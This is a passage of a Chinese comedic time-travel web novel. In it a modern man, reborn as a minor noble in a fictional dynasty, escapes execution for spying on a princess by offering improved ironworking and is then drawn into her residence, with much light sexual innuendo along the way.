《大虞第一驸马爷》
第1章 穿越大虞王朝
“手里呀捧着窝窝头~~”
大理寺狱。
谢珩惆怅的靠着墙,望着栏窗外的半轮新月,正扯起嗓子,鬼哭狼嚎。
“菜里没有一滴……”
“别特么唱了!!”
一声怒吼震得牢房都颤了三颤。
急促的脚步声迅速接近,好友陆安从外面走进来,捏着眉心,没好气儿的骂道:“半个牢房的犯人都被你唱厥过去了,还有你这唱的什么?哪来这奇奇怪怪的词儿!”
谢珩没看他,随意答道:“老家学的。”
“老家?你们陈郡谢氏不是本地的顶级门阀吗?还有啥老家?”
有啊,蓝星。
而且原身他家,只能算旁系。
不过谢珩也不像就着自己穿越者这块过多胡诌,总算是侧过身,看向自己的好友。
他并非一个人进来,身旁还领着个小家碧玉的姑娘,婢女打扮,长得不错。
谢珩外头问到:“所以你来是捞我出去的?”
“捞个卵!”
说到这,陆安就忍不住咬牙切齿,“你知不知道你捅了多大的篓子?偷看朝阳公主沐浴!谁特么有本事捞你!”
“我说你小子,是色迷心窍了吗?凭你这世家公子哥的身份,逮着小门小户欺男霸女谁敢管你,就非得往死里作?”
“再说了,你是嫌脑袋秃,想混几顶绿帽子戴戴不成?郡中闺秀一抓一大把,怎么就偏偏盯上了朝阳公主这浪荡……”
荡字还未出口,陆安也意识到自己口无遮拦了,赶忙住嘴。
还做贼似的往周围张望半天。
朝阳公主淫乐无度,放浪形骸,作风多有不检点,这在朝廷人尽皆知。
可甭管风评再差,那也是皇帝的姐姐。
惹不起,真的惹不起。
谢珩好笑的看着他那熊样,忍不住逗弄道:“不是为兄急色,着实是那朝阳公主风姿绰约,秀色可餐。”
说话时,他脑海中不禁浮现原主的记忆。
片段中,池水雾气氤氲,女子肌肤赛雪,曲线毕露。
谢珩故意摆出一副猥琐德行,说话时还特意舔着嘴唇:“啧啧,我同你讲啊,那身段,简直是……”
“停!老子可没你那么大色胆,还想多活几年呢!”
陆安这会儿特烦他。
干脆一把拽过身旁的婢女,骂咧道:“喜欢想你就多想想,正好,趁脑袋还在脖子上,赶紧给你们谢家留个种——你爹就差跪下来求我了!”
谢珩瞪眼:“我爹?那个见风使舵的老狐狸能求你?”
“不然呢?你们谢家这一支要是绝了后,他拿什么脸去见祖宗?”
我去,这是要来真的啊?
谢珩意识到了不对。
“所以,你真不是来捞我的?”
“我哪来的本事。”
“也不是来劫狱的?”
“我哪来的本事??”
“擦!”
谢珩蹭的窜了起来:“那你咋带着个人?”
陆安也火了,声音拔高几分:“给你留种的啊!”
“不是你请来的什么绝世高手?”
“我特么哪来的本事!!”
看他陆安长得像绝世高手不?
还要这要那的。
若不是陆家跟谢家世代交好,加上谢老爷子死皮赖脸上门儿,眼下谁还敢管他们家的烂摊子。
吼回去以后,陆安也懒得再跟这色胚子粘缠。
直接从怀里掏出个药瓶儿扔了过去:“给,待会用得着。”
谢珩接过后,眼前一亮:“还得是我陆兄靠谱!这里头是啥?假死药?还是**?”
“壮阳的。”
谢珩手一抖,差点把药瓶扔出去。
而栏杆外头那混账,大袖一挥,抬腿就走。
吱呀!
牢门已经被推开。
那个全程默不作声的小婢女走了进来:“见过公子。”
说完,就开始面无表情的扒衣服。
“哎!等!”
小婢女动作不停,嘴里还念叨着:“公子,得搞快,老爷说了,时间紧任务重。”
谢珩赶紧将她扒住,脑门儿已经开始冒汗了。
不是,他那没用的爹,打哪找来这么个愣头青?
“先等等!”
“不等,老爷还说,完不成指标扣我月钱。”
小婢女仍然扮着张扑克脸,无辜的大眼睛带着三分清澈,三分耿直和四分专业,“奴家月事刚走三天,少爷您加把劲儿,咱争取……”
“争取一发入魂是吧?!”
谢珩死死攥住裤腰带,感觉自己不是在蹲大牢,而是在遭遇一场离谱的职场KPI考核。
小婢女眨眨眼,一脸认真:“少爷聪慧。”
“聪……你当种地撒种呢?”
她歪头思考了一下,居然点了点头:“老爷说,谢家祖上善农耕,少爷您努努力,应该问题不大。”
谢珩:“……”
感受到那双柔弱又有力的小手再次扒起自己的裤子,他没办法,只能扯住小姑娘的手,无奈道:“这样吧,你先和我说说,如今家中如何?”
小婢女动作总算停了。
“嗯……”
“老爷说,现在家族,产业一年不如一年,族里的田地也卖了不少,铺子生意也不景气。”
“大
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少爷上月赌钱,把城东的铺子押出去了;二少爷养的外室闹上门,被御史参了一本;三少爷倒是不惹事……”
谢珩刚想夸两句,就听她继续道:“他三个月没下床了,大夫说是马上风。”
“至于老爷自己,”
小婢女一板一眼地复述,“他说朝中现在都管谢家叫''三废门第'',废人废材废点心,前几日还闹着要上吊呢。”
谢珩表情抽搐了下。
谢珩扶额:“所以他就指望我留个种振兴家族?”
“嗯。”
小婢女点头,“老爷说,您虽然好色,至少身体好。”
她觉得这评价挺中肯的。
反正少爷腹肌手感就挺好。
谢珩深吸口气,突然就觉得没了盼头。
没用的爹,废物的哥,没一个能指望上的。
陈郡谢氏,本是大虞朝顶级门阀,与琅琊王氏齐名,也就是王谢世家。
但谢珩这一支,因其祖父在**斗争中站错队,支持了被废的前太子,所以近十年走得全是下坡路,逐渐远离权利中心。
如今家族成员,多在地方担任闲职或赋闲在家,空有名望而无实权。
被核心圈层视为“昨日黄花”。
眼下原主闹这么一出,不能说是雪上加霜,只能说是嫌命太长。
身前,小婢女愣头愣脑的声音将他思绪拉回。
“少爷,能开搞了吗?”
什么叫开搞?
谢珩痛苦面具,推着她,嘴里还得跟哄小孩似的:“先不搞,月钱到时候少爷给你补,啊!”
“你先去把那个姓陆的叫进来。”
“少爷要和他搞?”
小婢女眼睛瞪大:“老爷说,龙阳虽好……”
“老爷别说了!快去!”
老爷怎么什么都说!
他现在有点想掐死这小丫头片子。
……等等,不对!虽好什么鬼??
不过没等谢珩多问,对方已经出去了。
陆安再次进来时,脸上是憋着笑的。
“谢兄……”
陆安忍的声音都在哆嗦,“搞一个?”
很显然,刚才牢里的对话都被他听见了。
谢珩黑了脸,也只能窝火朝他勾手指。
陆安后退几步摇头道:“谢兄,开玩笑的,我不搞。”
“再过六个时辰后老子就监斩了,别闹了!”
哟,这会儿知道急了?
陆安觉得心里贼痛快,不过还是老老实实凑了过去。
等到谢珩朝他耳语几句,陆安听完面色有些古怪:“这能行吗?”
“信我,绝壁行!”
第2章 砍还是不砍?
御书房内,烛火摇曳。
大虞朝皇帝赵元稷坐在案前,端着奏折,脸上的阴鸷与暴戾少见的破碎开来。
“混账!”
他猛地将奏折摔在地上,吓得周围太监宫女齐刷刷跪倒,额头紧贴地面,大气不敢出。
“区区一个谢家旁支,竟敢偷看皇姐沐浴?朕要诛他九族!”
赵元稷咬牙切齿,手指捏得咯咯作响。
他本就因朝中局势不稳而烦躁,如今竟有人敢、敢冒犯他最宠信的皇姐?!
整个朝堂谁人不知,这位性情无常的天子,最是容不得旁人染指朝阳公主半分?
他的姐控属性都是出了名的。
如今倒好,那谢家旁系的小子,公然给他这皇帝上眼药。
这跟坟头蹦迪有什么区别?
“陛下息怒……”
一旁的太监总管战战兢兢道,“谢珩、谢珩已被关押至大理,明日午时处斩。”
“午时?”
赵元稷冷笑,“太迟!传朕口谕,真要亲手剜了他眼珠子,即刻!”
就在这时,殿外传来一阵轻盈的脚步声,伴随着环佩叮当,一抹艳丽的身影款款而入。
“皇弟这是要剜谁的眼珠子呀?”
朝阳公主刘楚玉一袭绯红纱裙,乌发如瀑,眉眼间笑意慵懒。
她手里还捏着一本话本子,显然刚从自己的“闺阁剧场”中抽身。
赵元稷见到她,脸色稍缓,但仍余怒未消:“还不是那谢家的小畜生!”
“哦?”
朝阳公主听后,眨了眨眼,立刻想起那个色胆包天的家伙。
只是她非但不恼,反而眼唇轻笑,格外妩媚动人:“哎,此事也怪在皇姐。”
赵元稷有些急了:“皇姐何错之有!”
“只怪皇姐生得这般闭月羞花,沉鱼落雁~”
她又执起铜镜,对着烛光侧首,轻抚鬓角。
眼波流转间顾影自怜:“皇弟你快瞧,我这眉不画而黛,唇不点而朱,便是那洛神在世见了,也要羞得钻回水里。”
“想来定是那谢家郎君路过,被本宫勾了魂儿……哎,你说,你说说,这生的太美,何尝不是苦恼呢。”
“皇姐!”
赵元稷急得直跺脚。
朝阳公主眼睛一瞪:“你就说是与不是吧!”
憋了好半天,皇帝终于泄了气:“是。”
他这皇姐的脾气,他可是清楚。
你就是当着面儿,指着她的鼻子骂嚷,这女人也不见得生气。
但你要是敢说她不好看……那就等着她把整个建康城掀个底朝天吧。
“可皇姐,他那是大不敬!”
朝阳公主轻笑,放下铜镜,又漫不经心地翻开一页话本,悠悠道:“本宫倒觉得有趣,他临死前还敢夸赞本宫的身材,倒是个实诚人。”
赵元稷:“……”
他有时候真的搞不懂自己这位皇姐的脑回路。
就在气氛微妙之际,一名小太监匆匆入内,跪地禀报:“陛下,谢珩托人递了话,说是……死前有要事禀报公主。”
赵元稷炸毛了:“让他滚!”
“……不对,让他死!”
被自家弟弟的反应惹笑,刘楚玉将玉臀从案上挪开,饶有兴致的追问:“哦?他说什么?”
此刻,这位风华绝代的公主殿下,慵懒地倚在龙案,绯红纱裙随着她的动作滑落几分,露出半截欺霜赛雪的香肩。
烛光仿佛为她精致的锁骨抹上一层密,勾人到了极点。
老太监只觉鼻尖萦绕着若有似无的幽兰香气,额头死死抵着地面,连呼吸都屏住了。
早听闻朝阳公主艳名远扬,他这会儿明白,不是虚名。
她从头到脚,都宛如一潭春水似的,连他这个阉人都要直呼难当。
也不怪当初的谢家公子鬼迷心窍了。
可即便他不看,偏生那绯色裙角还在他眼前轻轻摇曳,绣着金线的牡丹纹样仿佛活了过来,晃得人头晕目眩。
“说呀~”
听着那蜜糖般黏腻的催促,老太监浑身一颤,赶紧不着痕迹的扫了皇帝一眼。
见他只是脸色发沉,没冲着自己,这才结结巴巴道:“回、回殿下,谢珩说……说您曾命他改良冶铁之术……”
一滴冷汗顺着老太监的鬓角滑落。他分明感觉到公主殿下俯身时,那缕垂落的青丝正扫在他后颈上,酥麻的触感让他险些咬到舌头。
赵元稷见状,眼中戾气更甚,一把将自家皇姐拽回身边:“王保!你眼睛往哪看呢?!”
老太监吓得魂飞魄散,却听朝阳公主“噗嗤”一笑:“皇弟跟个老太监置什么气?”
她随手将垂落的发丝挽到耳后,这个简单的动作由她做来,偏生带着说不尽的风情。
“本宫倒要看看,那个登徒子能编出什么花样来。”
说话这会儿,她已经敛去绝艳风情,凤眸微眯,竟是透出几分凌厉之色。
纤纤玉指轻叩案几,发出清脆的声响:"去,把谢珩的供词呈上来。"
老太监如蒙大赦,连滚带爬地退出殿外。
不多时,便捧着一卷竹简回来,双手高举过头顶。
赵元稷冷哼一声,抢先一步夺过竹简。
展开一看,脸色却渐渐变了。
“皇弟?”
朝阳公主好奇地凑近,只见竹简上密密麻麻记载着冶铁新法,从选矿到熔炼,从锻造到淬火,无不精妙绝伦。
最末还附着一张图纸,画着一柄造型奇特的宝剑。
“这……”
赵元稷眉头紧锁,“皇姐何时让他研究这个了?”
朝阳公主轻笑:“本宫前些日子不是说要铸把新剑么?”
她指尖轻点图纸,“这剑柄上的牡丹纹样,可不就是照着本宫最爱的花样画的。”
赵元稷才不管什么花不花的。
他心脏猛跳,马上传来工部尚书,命他即刻验证这冶铁之术的真伪。
然后来回踱步,面色前所未有的凝重。
皇帝的反应一分不差的落在朝阳公主眼里,她也只用铜镜遮着唇,看不清具体表情。
不多时,工部的老尚书,已经捧着竹筒狂奔回来,鞋子被甩掉一只都顾不上。
“陛下,神术!神术啊!!”
他扑通一声跪在案前,“微臣急速命人试过,若次铸铁之法真能实现,我朝军械之利,将冠绝天下!”
“陈尚书,给个具体说法,若能成,国力怎算?”
“回陛下,两倍不止!”
赵元稷瞳孔骤缩!
“只是……”
“只是什么?”
赵元稷情急的追问,甚至失态的快步走到臣子身前。
尚书忍不住擦了擦额头的汗珠,心中莫大压力。
朝堂众人都知晓这位天子的性情,生怕他一个发怒卸了自己脑袋,陈尚书斟酌许久,才小心翼翼道:“只是这冶铁之术尚不完整,关键处似有缺失。若能得谢珩亲自指点……”<
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br>赵元稷一听就不乐意了。
“朕命你携工部众人,复原此法!”
朝阳公主在旁无声轻笑,忍不住摇了摇头。
尚书又开始冒汗了:“回、回陛下,这里缺的,乃是最精妙的淬火之法,我等,我等工部……”
“废物!”
赵元稷抬起脚,就要踢人,吓得陈尚书身体紧绷。
不过犹豫了半响,他还是虎着脸将腿收了回去,重新做回椅子,手上竹筒轻敲桌面,目光连闪,不知在想些什么。
朝阳公主见他的样子,够了勾唇。
然后忽然板起了脸:“本宫改主意了,那登徒浪子,竟敢偷看本宫沐浴,岂能轻易放过?”
“皇帝,你现在就下令斩了他,给皇姐出气!”
极其少见的,大虞朝天子表情一僵。
他嘴唇张了又张,轻咳道:“皇姐,朕看这事儿吧……怎么说呢,就是……这个关键的问题,是要找到问题的关键……”
“你就说你砍不砍吧!”
“砍!”
赵元稷假惺惺的点头,又话锋一转,“但这事儿吧……朕觉着,还是要从长计议。”
皇姐斜眼看他:“呵,刚才还不是吵嚷着要剜人眼珠子吗?现在又从长计议了,你们男人果真都一个德行!”
赵元稷被呛的支支吾吾说不出话来。
“好,你不砍,本宫亲自去砍!”
说完,朝阳公主直接抬起碎步,就朝宫外走去。
赵元稷想拦,又被她扒拉开,急的俊脸有些涨红。
待到皇姐的背影消失,他看着地上瑟瑟发抖的工部尚书,咬了咬牙:“你!赶紧去大理寺,给朕把人捞出来!!”
“陛下,这……”
“这什么这,快去啊!!”
老尚书张了张嘴,最终啥都没说,还是老老实实领命了。
难道陛下还看不出来,自己是被他皇姐拿捏了吗?
陈尚书分明清楚看到,那朝阳公主离开前,笑的活像只狐狸。
不过左右想想,他倒也释然了。
其实也不光是朝阳公主的问题,着实是那谢家小子这番,死死抓住了陛下的痛点。
赵元稷登基后,地位不稳,前有宗师亲叔叔们、后有地方藩王赵和、赵子恭等虎视眈眈。
要说现在陛下缺的,就是更强的军事力量,震慑内政外敌。
这笔账不是很难算。
改进冶铁技术=提升兵器质=强化禁军战斗力。
方才那两倍的国力提升,可不是他信口胡诌出来的。
实际上,若冶炼之法能普及,两倍还是保守估计。
强大的冶炼技术可不光是只能造武器,农具、器械、建筑等方方面面都能得到质变般的提升。
这其中的价值,没人比他明白。
不成!
这事儿还得通知少府监,将作监,军器监……对,太府寺也得去说说,另外还有司农寺跟都水台!
那些老家伙见了这冶铁之术,还不得跟饿狼见了肉似的扑上来?
“嘿嘿……”
陈尚书没注意到,自己此刻笑的格外猥琐。
等到时候,再顺带从他们身上敲比竹杠,工部这些年可没少受气,这会儿,轮到他们扬眉吐气啦!
“嘿嘿,哼哼,呵呵呵……哈哈哈哈,哈哈哈哈哈哈哈!”
旁边几个路过的官员,赶紧满脸晦气的绕道。
朝着旁边同僚低声议论:“啧,快看,这陈大人疯了!”
第3章 陛下不是要剜我眼珠子吗?
朝阳公主刘楚玉迈着轻快的步子走出宫门。
绯红纱裙在夜风中微微扬起,像一朵盛放的牡丹。
她唇角噙着笑,指尖轻轻摩挲着那卷冶铁竹简,心里已经开始盘算接下来的戏码。
“那个小登徒子,确实有几分本事,不枉本宫没当场砍了他。”
她眨了眨眼,手里上下掂着竹筒,心情格外畅快。
“……不过也不能让他好过,否则本宫咽不下这口气!”
什么三十六个面首,什么私生活糜乱,那全都是外人编排出来的。
也不想想,她老弟是个皇帝,又是个姐控,她要是真敢养面首,赵元稷第一个就会把那些男人剁碎了喂狗!
再把狗剁碎了喂鱼。
再把鱼……算了。
反正她最初注意到谢珩,差不多也是同病相怜。
朝阳公主指尖一顿,竹简在掌心转了个圈。
她忽然想起前些日子在宫宴上,那些贵女们的窃窃私语。
“听闻谢家那位旁支的公子,前些日子被王七郎当众讥讽是破落户的癞**呢。”
“可不是?如今谢家连祖田都典当了,他还敢往公主府附近晃悠,可不就是癞**想吃天鹅肉?”
当时她倚在软榻上,漫不经心地剥着葡萄,心里却莫名烦躁。
这群长舌妇,懂什么?
她刘楚玉的名声,不也是被这些人的臭嘴,硬生生嚼烂的?
刘楚玉见过那人,是一位俊俏郎君,眉目如画,身姿挺拔,哪有半分癞**的模样。
倒是那王七郎,肥头大耳,活像只鼓着腮帮子的蟾蜍。
刘楚玉查过谢珩私下在鼓捣着什么,也来了兴趣。
她能瞧出,那人并不在乎名声。
但刘楚玉不一样。
她要正名!
若此事能成,她朝阳公主便是主动“献利国策”。
谢家小子本事不足,这波功劳自然要落在她头上。
到时,看谁还敢说她只是个骄奢淫逸的公主!
想到这里,刘楚玉眼中闪过一丝狡黠:“来人,备轿!”
......
谢珩靠在牢房的墙上,嘴里叼着一根稻草,神情悠闲得仿佛不是待斩死囚,而是来度假的。
他的好友还在急的来回踱步。
“你不是说不超三个时辰吗?这都多久啦!”
“陆安,这才一个时辰不到。”
谢珩被他晃得有些头疼。
陆安却不依不饶:“你确定?我怎觉得三日都过完了!”
“陆兄,您这是巴不得我早投胎啊。”
他刚嘀咕完,外面就传来一阵急促的脚步声,紧接着,牢门被“哐当”一声推开。
工部尚书陈大人满头大汗地冲了进来,身后还跟着几个狱卒,手里捧着崭新的衣袍和官靴。
“谢公子!陛下有旨,赦免你的死罪,即刻出狱!”
谢珩挑眉,故作惊讶:“哦?陛下不是要剜我眼
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珠子吗?”
陈尚书擦了擦汗,干笑道:“公子说笑了,陛下……陛下宽宏大量,念在公子献上冶铁之术有功,特赦免罪!”
谢珩慢悠悠地站起身,拍了拍身上的稻草,笑道:“那朝阳公主呢?她不砍我了?”
“嗨哟,公子这哪里话,有陛下保你,公主她自然既往不咎。”
陈尚书急着打开牢房:“谢公子,此处不好说话,咱先移步工部衙门细谈。”
他压低声音道:“陛下特意嘱咐,要给您安排一处清净院落暂住。”
“啥?既往不咎,还给安排院落??”
陆安在旁听着都惊呆了。
“陈大人,您是拿我仁兄开涮呢?”
“涮屁涮,哪凉快哪呆着去!”
对于旁人,这位陈大人可就没那么好的脾气。
谢珩忍着笑,看向面色憋屈的好友陆安,拍了拍他肩膀。
“陆兄,人缘儿不咋地啊。”
陆安啪地给他手拍开。
谢珩这才正色:“先回去告诉你家老爷子,就说我谢珩欠他一个人情。”
说着,又从怀中掏出一封早已写好的信笺,“再把这个交给家父,就说……算了,啥也不用说。”
他跟那废柴爹对不齐颗粒度。
“劳烦陈大人带路。”
“谢公子,好说。”
瞧着谢珩那扬眉吐气的模样,陆安抿着唇。
他决定了,回头就拿这孙子的信开腚。
第4章 刚出狼窝,又入狐穴
工部衙门门口,那叫一个锣鼓喧天,鞭炮齐鸣。
好吧,没锣鼓也没鞭炮,但比那还热闹。
谢珩刚跟着陈尚书的脚步踏进工部大院,就被眼前的阵仗给唬了一跳。
黑压压一片官袍,红的绿的紫的,跟开染坊似的。
为首的几个老头子,胡子都吹起来了,正围着一个工部的小吏唾沫横飞。
“凭什么!凭什么人就归你们工部了?老夫将作监第一个不服!”
“就是!改良冶铁之术,首当其冲利好我军器监!陈老儿,你别想吃独食!”
“诸位,诸位听我一言,”
一个穿着太府寺官袍,胖得跟个弥勒佛似的大人挤上前来,“咱们不谈虚的,只要谢公子来我太府寺,经费!要多少给多少!金山银山,管够!”
司农寺卿也急了,扯着嗓子喊:“农具!农具才是国之根本!武器能杀几个人?良种配新犁,那可是能活万万民的功德!”
好家伙。
谢珩算是看明白了。
陈尚书这老小子,嘴巴是真不严实,估计从大理寺出来,就差敲着锣满建康城宣传了。
“咳咳!”
陈尚书老脸一红,随即又挺起胸膛,把谢珩往自己身后一拉,摆出护犊子的架势。
“诸位同僚,这就不讲道理了啊!”
“人,是我从大理寺捞出来的!”
“献策,也是陛下亲自给我工部督办的!”
“谢公子,理应由我工部安置!你们都别争了!”
他话音刚落,少府监的监令就皮笑肉不笑地开了口:“陈大人此言差矣。”
“此乃神术,关乎国运,岂是你一个工部能独占的?依我看,谢公子当入我少府监,专为陛下效力,这才是无上荣光。”
“放屁!你少府监就是给皇家做马桶的!”
“你军器监也好不到哪去,天天就知道打打杀杀!”
“都别吵了!谢公子,来我们这儿,保你三年升迁,五年入阁!”
“我给你加个妾!不,俩!”
谢珩被这群平均年龄能当他爷爷的大人们围在中间,闻着他们身上传来的各种熏香和口水味,感觉自己不像个人,倒像是一块刚出炉的香饽饽,谁都想上来啃一口。
他清了清嗓子,正准备挑个价码最高的。
毕竟,工部许诺的那个小院子,跟太府寺的金山银山比起来,实在有点不够看。
就在这时,门口的喧哗声戛然而止。
所有争吵的,许诺的,画大饼的官员,都跟被掐住了脖子一样,瞬间没了声音。
整个院子,静得能听见风吹过树叶的沙沙声。
谢珩好奇地顺着众人的方向望去。
只见衙门月洞门外,一抹绯红身影缓步而入。
来人云鬓高挽,珠钗摇曳,一身繁复的宫装长裙拖曳在地,裙摆上用金线绣出的牡丹,在日光下流光溢彩,娇艳至极。
她走得不快,每一步都像是踩在所有人的心尖上。
随着她的靠近,一股若有似无的幽兰香气弥漫开来,霸道地驱散了院中混杂的汗味和香料味。
是朝阳公主,刘楚玉。
谢珩的呼吸不由得停了一瞬。
原主的记忆片段再次翻涌,可那些隔着水雾的模糊景象,哪里比得上**亲眼所见的万分之一。
这女人,美得简直不像话。
眉眼是画,琼鼻是雕,红唇是染,组合在一起,却又浑然天成,媚骨天生。
她脸上明明挂着慵懒的笑,可那双凤眸扫过来时,却带着一股子令人不敢直视的凌厉。
在场所有官员,包括方才还盛气凌人的陈尚书,此刻全都矮下身子,恭恭敬敬地行礼。
“参见公主殿下!”
刘楚玉仿佛没看见这满院子的朝廷大员,一双美目直勾勾地落在了谢珩身上,饶有兴致地上下打量。
那目光,像是在审视一件有趣的玩物。
“你,就是谢珩?”
她开口了,声音如同浸了蜜的丝绸,又甜又滑,还带着一丝勾人的沙哑。
谢珩拱了拱手,不卑不亢:“在下谢珩,见过公主殿下。”
他当然知晓这公主是在明知故问,那日偷窥……
不对,那日双方撞见,早已将对方相貌看穿。
“嗯,胆子不小,人也长得不赖。”
刘楚玉轻笑一声,像是给了个不错的评语。
她这话一出,周围的官员们表情更古怪了。
胆子不小?
可不是么,偷看您洗澡的胆子,能小到哪去?
人长得不赖?公主您这是……看上了?
私底下的窃窃私语声还没来得及响起,刘楚玉便再次开了口,声音不大,却清清楚楚地传到每个人耳朵里。
“本宫的公主府,最近正缺个懂冶炼的巧匠,来参详参详新首饰的花样。”
她顿了顿,指尖轻轻一点,目标明确。
“你,跟本宫走一趟吧。”
此话一出,满场死寂。
陈尚书的脸瞬间垮了
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下去,急得想说什么,可一对上公主那似笑非笑的眼睛,又把话给咽了回去。
开什么玩笑?
跟公主抢人?
借他十个胆子也不敢啊!
其他几个部门的大人也是面面相觑,脸上的表情跟吞了苍蝇一样难受。
他们在这争了半天,好处许了一箩筐,结果正主一句话,直接截胡了!
还是用“打首饰”这么离谱的理由!
谁信啊!
冶铁神术!国之重器!您拿去研究首饰花样?
这话骗鬼呢?
一时间,各种暧昧又不敢言说的揣测在众人心中疯狂滋长。
都说朝阳公主放浪形骸,喜好美色,先前还以为是传言,今日一见……
果然名不虚传!
前脚刚要**,后脚就请人回府,这操作,实在是让人浮想联翩。
谢珩也愣住了。
他设想过无数种可能,唯独没想过这一出。
去公主府?
这女人想干嘛?
难不成是觉得自己当众看了她没面子,要私底下再找回场子?
把他骗回去,关起来,天天用小皮鞭抽?
嘶……好像有点刺激。
呸!
他赶紧打住自己危险的想法。
“公主殿下,”谢珩硬着头皮开口,“陛下命在下协助工部……”
“皇帝那边,本宫自会去说。”刘楚玉直接打断了他,语气不容置喙。
她向前两步,走到谢珩面前,一股更浓郁的香气扑面而来。
她微微倾身,用只有两个人能听见的声音轻语:
“怎么?怕本宫吃了你?”
谢珩心头猛地一跳。
看着眼前这张美艳绝伦却又写满“危险”二字的脸,谢珩忽然觉得,大理寺的牢房,其实也挺安逸的。
至少,那里的KPI,只是留个种。
而这里,怕不是要连人带魂都给榨干了。
“在下……遵命。”
还能怎么办,只能认栽。
见他服软,刘楚玉满意地勾起唇角,那笑容,像一只偷着了腥的狐狸。
她直起身,大袖一挥,看也不看院里那群石化的官员,径直朝外走去。
“跟上。”
两个字,轻飘飘的,却带着无法抗拒的味道。
谢珩叹了口气,在众人同情、惋惜、羡慕、嫉妒交织的复杂注视下,迈开步子,老老实实地跟了上去。
刚出狼窝,又入狐穴。
这穿越后的人生,可真特么的跌宕起伏。
第5章 公主强制带我住
朝阳公主府,果然是金堆玉砌富丽堂皇。
谢珩跟在刘楚玉身后一路穿廊过院,眼珠子都快不够用了。
假山流水奇花异草,每一处景致都透着“老娘有钱”四个大字。
他心里嘀咕,这要是搁在蓝星妥妥的顶级5A级景区,门票不得收他个千八百的。
走着走着谢珩脚步一顿,觉得眼前这地方有点眼熟。
一处雅致的别院,院中引了温泉水修了座半露天的浴池,池边还种着几株芭蕉。
水汽正袅袅升起,带着硫磺特有的味道。
我擦!
这不就是“案发现场”吗?
原主就是在这儿,隔着假山缝把不该看的都给看了。
“来人,放水。”
刘楚玉清冷的声音响起,几个婢女立刻躬身领命,开始往浴池里添置香料花瓣。
谢珩眼角抽搐。
不是吧大姐?
你还来?
这回是打算当着我的面洗?
他脑子里瞬间闪过无数个念头,从非礼勿视到要不要收个门票钱,最后定格在一个可怕的猜想上。
这女人不会是要把他溺死在里面,伪装成失足落水吧?
毕竟自己可是唯一一个看过她身子,还活着的男人。
“怎么,怕了?”
刘楚玉不知何时转过身,正抱着手臂好整以暇地瞧着他。
她褪去了宫门外的几分凌厉,又恢复了那副慵懒娇媚的模样,凤眸里带着促狭的笑意。
“在下……在下只是觉得,此情此景似曾相识。”
谢珩干咳一声,努力让自己的表情看起来很正直。
刘楚玉“噗嗤”一声笑了出来,花枝乱颤。
“你倒是个妙人。”
她挥手遣退了所有婢女,整个别院就只剩下他们二人。
气氛,一下子就变得微妙起来。
温泉的水汽愈发浓郁,混着花香,丝丝缕缕地缠绕过来,让人有些醺然。
刘楚玉踱步到池边,伸出玉足,轻轻探了探水温。
绯红的裙摆滑落,露出一段白皙如玉的小腿,水珠顺着她精致的脚踝滚落,没入池中,漾开一圈圈涟漪。
谢珩感觉自己喉咙有点干。
要命,这女人简直就是个行走的荷尔蒙妖精。
“说吧,那冶铁之术,你从何处得来?”
刘楚玉忽然开口,声音里没了笑意,变得清冽,像池水下的寒玉。
来了,正题来了。
谢珩心里早有准备,面不改色地胡诌:“回殿下,此乃在下家传之秘术,只是到了在下这一代,才侥幸参悟了其中关窍。”
“家传?”刘楚玉缓缓转过身,眉梢轻挑,“你们陈郡谢氏,祖上善农耕,我倒是第一次听说,还善冶铁。”
她一步步走近,那股幽兰香气也随之逼近,带着不容抗拒的压迫感。
“你那套说辞,骗骗我那好面子的皇帝弟弟还行,想骗本宫?”
她停在谢珩面前,距离近得能看清她纤长卷翘的睫毛。
“本宫再问一次,这东西,哪来的?”
谢珩感觉自己的心跳漏了半拍。
这女人的洞察力,比他想象的要敏锐得多。
他正想再编个理由,比如梦中遇仙人授法之类的,却见刘楚玉忽然伸出了一根手指。
那根纤纤玉指,点在了他的胸口上,不轻不重。
“你可要想好了再说。”
“本宫能把你从大理寺捞出来,也能让你……无声无息地消失在建康城。”
声音又软又糯,内容却森寒刺骨。
谢珩沉默了。
他算是看明白了,跟这女人讲道理是行不通的。
她就是个不按常理出牌的混世魔王。
见他不再言语,刘楚玉满意地收回手指,红唇勾起一抹狡黠的弧度。
“罢了,本宫对你的冶铁术来历不感兴趣。”
“从今日起,这冶铁神术,便是你献于本宫的功劳。而你,”她顿了顿,用一种宣告般的口吻,“就是本宫府上的巧匠。”
谢珩一愣:“巧匠?”
“没错。”刘楚玉点头,“你不是说,此术尚不完整吗?”
“本宫限你一个月内,将完整的淬火之法呈上来。这期间,你就住在这西厢。”
她指了指别院的厢房,脸上写满了“你没得选”。
谢珩脑子飞速运转。
住公主府?
还是住在“案发现场”?
这不等于把自己彻底送进了狐狸窝?
可转念一想,比起在工部被那群老头子当成肥肉瓜分,在这里,至少只需要应付刘楚玉一个人。
而且,皇帝都拿这个姐姐没办法,可见
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她的资源和权力,远非工部可比。
想要完成冶铁术,确实需要大量的支持。
他正想找个机会,转身看看那浴池,评估一下逃跑路线,却忽然感觉背后一暖。
一具温香软玉的身躯,竟从背后贴了上来。
刘楚玉的双臂,如灵蛇一般,环住了他的腰,将他整个人锁在怀里。
谢珩浑身一僵。
他能清晰地感受到背后传来的柔软触感,以及耳边那温热的,带着香气的吐息。
“怎么?不愿意?”
她的声音就在耳畔,低沉,沙哑,像羽毛一样撩拨着他的神经。
“还是说,你想回大理寺,再尝尝那窝窝头的滋味?”
这哪里是商量,这分明是赤裸裸的威胁!
谢珩甚至能感觉到,有什么尖锐的东西,正抵着自己的后腰,大概是她头上的某支金钗。
只要他敢说个不字,这玩意儿下一秒就能捅进他腰子里。
“在下……在下何德何能,能得公主殿下如此……青睐。”谢珩从牙缝里挤出几个字。
他感觉自己不是被招揽了,而是被绑票了。
“算你识相。”
刘楚玉轻笑一声,松开了手臂。
那股压力骤然消失,谢珩竟有些不适应。
他转过身,只见刘楚玉已经退开两步,又是那副高高在上的公主模样,仿佛刚才那个从背后抱住他的妖精只是幻觉。
“住处和一应所需,本宫都会命人给你备好,全建康城最好的工匠,最稀有的材料,只要你开口,本宫都能给你弄来。”
她扬了扬下巴,眼底是掩不住的自负。
“但你记住,你的命,现在是本宫的。”
“别耍花样。”
说完,她便转身,袅袅婷婷地离开了别院,只留给谢珩一个风情万种的背影。
谢珩站在原地,长长地吐出一口气。
他低头看了看自己的裤腰带,确认还安好,这才松了口气。
在大理寺,是KPI考核。
到了这儿,直接升级成了**契。
这穿越后的人生,真是一天比一天刺激。
不过……
他看着这豪华的别院,闻着空气中残留的香气,心里又冒出个不合时宜的念头。
住在这儿,似乎……也不是那么难以接受?
第6章 大晚上来狗血剧情
朝阳公主的办事效率,高得吓人。
